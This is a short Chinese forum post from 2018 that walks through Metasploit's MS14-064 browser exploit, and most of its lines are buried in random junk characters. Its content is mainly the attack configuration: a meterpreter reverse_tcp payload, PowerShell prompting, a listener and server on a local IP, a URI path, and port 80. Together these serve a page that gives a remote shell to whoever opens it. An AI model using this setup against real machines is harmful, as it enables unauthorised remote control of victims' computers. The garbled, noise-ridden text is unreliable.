. \; Y$ k6 v8 @4 U4 a; R
我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示
1 `9 d% {+ w ?8 y9 c" L: H$ r
' g" _& B& T& A2 T. x
" w& k ]1 V/ I; y 开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
5 S; |' H" r2 W7 Q c* \0 l
+ w4 u; a7 S/ z) c! L5 \; i3 p6 Q5 k' }' D
然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp
, \5 h; j0 l! e6 [5 t3 J* s+ P/ Q
0 J! n; H4 W7 n/ |- }! l* X' U
" c4 Y5 L: n3 T$ o set AllowPowershellPrompt true
* Z# v3 Z! C+ \4 h
{; V* R7 a/ {1 _# k: U# m) T+ m, t, |6 X( L, h8 i
Set LHOST 192.168.0.109
5 c3 u8 {% [9 i. h1 }: Y
" |) R6 U' X6 F. p1 j4 z5 N+ v3 u: G5 H" |0 U
set SRVHOST 192.168.0.109( p+ n* y6 }/ P
, V( W k! t; Z0 y$ d) v3 \3 S
) ]: B: y; |4 N" m6 o' z Set uripath share
7 d" f) X7 n# M' P
& v' `/ S+ r2 ]. E2 H
7 Q% {: h* @2 o, x8 ~0 t/ z5 _1 A w Set srvport 80
r+ h; U6 A9 e1 k. S# \! i
4 q( |0 l* V% e! s) _& X# w( I
; u4 T) P8 K) ^9 @: l. y; h 
+ X2 u! z$ { T5 h$ v9 s. I
% l- s6 q7 p" P# [) I- i% o
; Q! P- [9 J9 j3 m! r8 A5 g& _3 i ) ]3 W3 g# W6 G/ H2 H3 W
4 G6 M1 u$ I/ M; u+ i6 ? B
/ Y$ t2 n7 C7 m2 S R; J 0 Z2 A6 b* o: t7 e' U
7 y6 u8 B4 k2 f) b! i: h- ?
9 j) k, j# H G6 O9 H5 x- F3 t
. e1 ]5 y2 n- @* X/ Z0 s5 F$ h
0 R) G8 a n4 @! P4 ^/ Z: t7 t
7 h4 o6 }9 M$ p; M D6 b
2 w& m; U% g" s" [- G# N
, z5 N0 t+ q- i! l' h% Y6 |
: n z3 l0 B3 ^; @ 下面我们来访问本地地址如图：
8 {+ T: y# O/ E, b, y. t
* O; P) O/ Q. ~2 L( J9 b
) F+ B0 F8 h% `3 Z3 D N
3 E* H" w6 F* R8 l3 {6 G
+ \! ?0 W. g I- y* J% S8 L( t7 E6 n% i4 {* H
: R1 V: ^8 G$ N( M. a! K
& K( y6 f l2 i- N/ {1 O$ Y" t- E! j( C* { u1 h& A* M' a
$ k( p5 {& @' f
发表于 2018-10-20 20:20:35
收藏
支持
反对